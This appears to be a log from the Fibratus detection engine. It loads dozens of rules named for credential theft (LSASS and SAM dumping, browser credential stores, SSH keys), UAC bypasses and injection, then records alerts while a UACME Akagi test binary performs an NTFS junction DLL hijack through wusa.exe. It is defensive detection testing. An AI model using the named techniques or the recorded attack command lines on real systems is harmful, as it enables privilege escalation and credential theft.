C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:38:16+01:00 level=info msg=bootstrapping with pid 2156. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:38:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-mem=>false enable-image=>true buffer-size=>512 enable-audit-api=>true enable-thread=>true max-buffers=>36 enable-threadpool=>false enable-dns=>false enable-vamap=>true min-buffers=>16 flush-interval=>1s enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true stack-enrichment=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 formatter=>text level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false template-name=>fibratus sniff=>false timeout=>5s bulk-workers=>1 index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false method=>POST enable-gzip=>false] amqp=>[ vhost=>/ url=>amqp://localhost:5672 durable=>false timeout=>5s delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic enabled=>false passive=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false enabled=>false skip-registry=>false fastscan=>true excluded-procs=>[] skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:38:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:38:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:38:36+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:38+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 5763050 + Pid: 10660 + Tid: 13600 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 14:38:22.6004628 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffff978f7540e360, file_path➜ C:\WINDOWS\system32\dismcore.dll, irp➜ ffff978f73841378, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 13600, type➜ File + Metadata: rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10660 + Ppid: 17556 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 36 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T14:38:38+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:44+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:44+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:48+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:50+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:51+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 5801791 + Pid: 8412 + Tid: 13532 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 14:38:26.2639532 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffff978f7551a9d0, file_path➜ C:\WINDOWS\system32\api-ms-win-core-kernel32-legacy-l1.DLL, irp➜ ffff978f6ddee808, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 13532, type➜ File + Metadata: rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 8412 + Ppid: 17556 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 36 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T14:38:52+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:52+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:53+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:38:58+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:39:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:39:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:39:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:40:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:40:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, 